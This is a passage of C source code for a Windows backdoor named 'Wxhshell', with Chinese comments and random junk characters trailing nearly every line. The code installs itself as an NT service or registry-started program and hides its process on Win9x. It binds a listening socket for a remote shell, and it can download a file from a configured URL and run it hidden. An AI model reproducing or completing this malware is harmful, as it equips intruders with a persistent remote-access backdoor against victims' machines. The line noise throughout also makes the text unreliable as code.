PROCNTQSIP NtQueryInformationProcess; *r%mqAx(
wRiP 5U,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9H)uTyuNi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pM7BdMp
8DI|+`OgW
HANDLE hProcess; '
R@<4Ib|
PROCESS_BASIC_INFORMATION pbi; yED^/=\)}
S2s-TpjB<
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IIR?@/q
if(NULL == hInst ) return 0; 4*,q1yK
JX/d;N7a
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ( gFA? aD<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vl z T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uE|[7,D7;u
s+w<!`-
if (!NtQueryInformationProcess) return 0; Y'HF^jv]R
N*MR6~z4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k2WO*xa*
if(!hProcess) return 0; ~R8yj(
z0UO<Y?9
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vp|=q;Q%r
).boe& .
CloseHandle(hProcess); ii2Z}qe
C}kJGi
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k:qou})#4
if(hProcess==NULL) return 0; 7fEV/j
U`Ag|R
HMODULE hMod; A-u5
char procName[255]; =iQm_g
unsigned long cbNeeded; 0EB'!
stG&(M
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qR<DQTO<
/t^lI%&
CloseHandle(hProcess); }:8>>lQ
Q(IS=
if(strstr(procName,"services")) return 1; // 以服务启动 D6oby*_w
_Kj.
return 0; // 注册表启动 c>!J@[,
} -:>#w`H
=arsoCa
// 主模块 MB 5[Js|
int StartWxhshell(LPSTR lpCmdLine) DQICD.X6R
{ KEN-G
SOCKET wsl; -]A#G`'
BOOL val=TRUE; .%<&W1
int port=0; t5APD?5 c
struct sockaddr_in door; "3MUrIsB>
4<K`yU]"
if(wscfg.ws_autoins) Install(); "poTM[]tZ7
=4
H K
port=atoi(lpCmdLine); bx^EaXj(r
fYjsSUnf
if(port<=0) port=wscfg.ws_port; ]."c4S_)|
W>bW1h
WSADATA data; Lp WEu^j
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L#
1vf
ko>_@]Jb
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _fCHj$I*]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6)$N[FNs
door.sin_family = AF_INET;
9tEKA|8
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 49$4
door.sin_port = htons(port); fEc_r:|\6
cZzZNGY^ts
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r3_gPK
closesocket(wsl); 4Z<l>!
return 1; @<=#i
} F s\P/YX
hUxhYOp
if(listen(wsl,2) == INVALID_SOCKET) { DOIWhd5:
closesocket(wsl); 05 Q8`
return 1; JW[\"`x!
} g VJ#LJ
Wxhshell(wsl); U3K<@r
WSACleanup(); r(T/^<
Q3q.*(#
return 0; X/Rx]}[
-*fYR#VQQB
} PjW+V`
C(HmLEB^
// 以NT服务方式启动 ]q7 LoH'S
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g
Pj0H&,.
{ }a1Sfl@`3
DWORD status = 0; cgXF|'yI&l
DWORD specificError = 0xfffffff; dd7nO
:]
qg{<&V7fE
serviceStatus.dwServiceType = SERVICE_WIN32; `A _8nW)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~o'#AP#N~
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3t{leuO'
serviceStatus.dwWin32ExitCode = 0; +Cg"2~
serviceStatus.dwServiceSpecificExitCode = 0; N$&ePU J
serviceStatus.dwCheckPoint = 0; nCMa$+
serviceStatus.dwWaitHint = 0; x0h3jw+6
6Su@a%=j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~)a;59<$
if (hServiceStatusHandle==0) return; '(X[
w=WXy
c_bVF 'Bz
status = GetLastError(); ^+Vk#_2Q
if (status!=NO_ERROR) _<*GU@
{ #"8[8jyV
serviceStatus.dwCurrentState = SERVICE_STOPPED; t<k[W'#
serviceStatus.dwCheckPoint = 0; 1 j^c
serviceStatus.dwWaitHint = 0; Y0B1xL@
serviceStatus.dwWin32ExitCode = status; 8{<[fZyC
serviceStatus.dwServiceSpecificExitCode = specificError; :sVHY2x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); mHEf-6|C`
return; IqCCfsf4
} j"IM,=
%L13Jsw
serviceStatus.dwCurrentState = SERVICE_RUNNING; %FyygT b;S
serviceStatus.dwCheckPoint = 0; _/
}6
serviceStatus.dwWaitHint = 0; N.{jM[\F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -yAnn
} v^c<`i;
h [IYA1/y
// 处理NT服务事件,比如:启动、停止 fQ36Hd?(5
VOID WINAPI NTServiceHandler(DWORD fdwControl) [+l
{ q|u8CX
switch(fdwControl)
~kYqGH
{ *Cnq2=A]A
case SERVICE_CONTROL_STOP: W8,t l>(
serviceStatus.dwWin32ExitCode = 0; )jk1S
serviceStatus.dwCurrentState = SERVICE_STOPPED; _+*/~E
serviceStatus.dwCheckPoint = 0; %7]XW 2u
serviceStatus.dwWaitHint = 0; zd9]qo
{ 7/|F9fF@M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =\Vu=I
} :G`L3E&1s
return; {b,2;w}95
case SERVICE_CONTROL_PAUSE: >Qm<-g
serviceStatus.dwCurrentState = SERVICE_PAUSED; dm2CA0
break; ~y)bYG!G
case SERVICE_CONTROL_CONTINUE: Xn/ n|[
serviceStatus.dwCurrentState = SERVICE_RUNNING; #H;hRl
break; 7V} ]C>G
case SERVICE_CONTROL_INTERROGATE: $,KP]~?
break; B.YMP;7>
}; 7!r#(>I6?1
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $7UoL,N>
} v_z..-7Dq+
9k\)tWe
// 标准应用程序主函数 {Z#e{~m#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Kj Ju;
{ m
ZtvG,
"!%wh6`>Md
// 获取操作系统版本 2$
|]Vj*Zs
OsIsNt=GetOsVer(); 2~!R*i
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ufdl|smt1
!/j,hO4Z4
// 从命令行安装 ?< cM^$lI>
if(strpbrk(lpCmdLine,"iI")) Install(); /2;dH]o0
GIm
" )}W
// 下载执行文件 8K0X[-hs8
if(wscfg.ws_downexe) { JiFA]M`^Q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bVoU|`c
WinExec(wscfg.ws_filenam,SW_HIDE); %9C`
} 38c?^
#bT8QbJ(
if(!OsIsNt) { -AjH}A[!
// 如果时win9x,隐藏进程并且设置为注册表启动 bLgL0}=n
HideProc(); *u>lx!g
StartWxhshell(lpCmdLine); <S1??
} -<qxO
else :dP~.ZY7
if(StartFromService()) e74zR6
// 以服务方式启动 _eJXi,
StartServiceCtrlDispatcher(DispatchTable); 0K<x=-cCB
else (CdJ;-@D
// 普通方式启动 UJz#QkAio
StartWxhshell(lpCmdLine); 2_;]
|3}5:k
return 0; 9!9>
?Z
}